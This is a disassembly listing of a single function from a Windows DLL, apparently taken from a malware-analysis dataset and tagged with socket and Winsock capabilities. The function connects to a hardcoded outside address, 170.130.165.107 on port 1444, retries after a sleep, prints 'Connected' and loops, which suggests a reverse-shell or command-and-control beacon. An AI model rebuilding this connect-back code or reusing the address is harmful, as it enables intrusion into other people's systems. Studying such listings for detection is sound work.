Function at 0x1800077a0
Capabilities:
Connect socket
Convert ip address from string
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x2060]
mov eax, 0x2160
call fcn.18000ee40
sub rsp, rax
mov rax, qword [0x18004a1b0]
xor rax, rsp
mov qword [rbp + 0x2050], rax
xor r14d, r14d
mov qword [rsp + 0x68], recv
lea rdx, str.170.130.165.107
mov qword [rsp + 0x50], r14
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x60], r14
lea r8d, [r14 + 0xf]
call fcn.180003910
lea r8d, [r14 + 4]
mov qword [rsp + 0x30], r14
lea rdx, str.1444
mov qword [rsp + 0x40], r14
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x48], recv
call fcn.180003910
call fcn.1800173c8
cmp qword [rsp + 0x48], 0x10
lea rbx, [rsp + 0x30]
lea r8d, [r14 + 0xa]
mov rdi, rax
cmovae rbx, qword [rsp + 0x30]
lea rdx, [rsp + 0x20]
mov rcx, rbx
mov dword [rax], r14d
call fcn.180017eec
mov esi, eax
cmp rbx, qword [rsp + 0x20]
je 0x180007a2e
cmp dword [rdi], 0x22
je 0x180007a21
mov edi, 2
lea rdx, [rsp + 0x70]
mov ecx, edi
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x180007961
cmp qword [rsp + 0x68], 0x10
lea rbx, [rsp + 0x50]
xorps xmm0, xmm0
movzx ecx, si
cmovae rbx, qword [rsp + 0x50]
movups xmmword [rsp + 0x20], xmm0
mov word [rsp + 0x20], di
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x24]
mov rdx, rbx
mov ecx, edi
mov word [rsp + 0x22], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
xor r8d, r8d
lea edx, [rdi - 1]
mov ecx, edi
call qword [sym.imp.WS2_32.dll_socket]
mov rcx, rax
mov qword [0x18004df70], rax
lea r8d, [r14 + 0x10]
lea rdx, [rsp + 0x20]
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x18000793a
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x18004df70]
call qword [sym.imp.WS2_32.dll_closesocket]
xor r8d, r8d
mov ecx, edi
lea edx, [r8 + 1]
call qword [sym.imp.WS2_32.dll_socket]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x20]
mov rcx, rax
mov qword [0x18004df70], rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x1800078f3
lea rdx, str.Connected__n
lea rcx, [0x18004c3a0]
call fcn.180004d70
nop dword [rax]
lea rcx, [rbp + 0x110]
call fcn.180002280
cmp eax, 0xffffffff
jne 0x180007950
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x18000799e
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180007999
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007a1b
call fcn.18000e72c
mov rdx, qword [rsp + 0x68]
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], recv
mov byte [rsp + 0x30], r14b
cmp rdx, 0x10
jb 0x1800079ea
mov rcx, qword [rsp + 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800079e5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180007a1b
call fcn.18000e72c
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x2050]
xor rcx, rsp
call fcn.18000e350
lea r11, [rsp + 0x2160]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.180014ca4
int3
lea rcx, str.stoi_argument_out_of_range
call fcn.18000a588
int3
lea rcx, str.invalid_stoi_argument
call fcn.18000a540
int3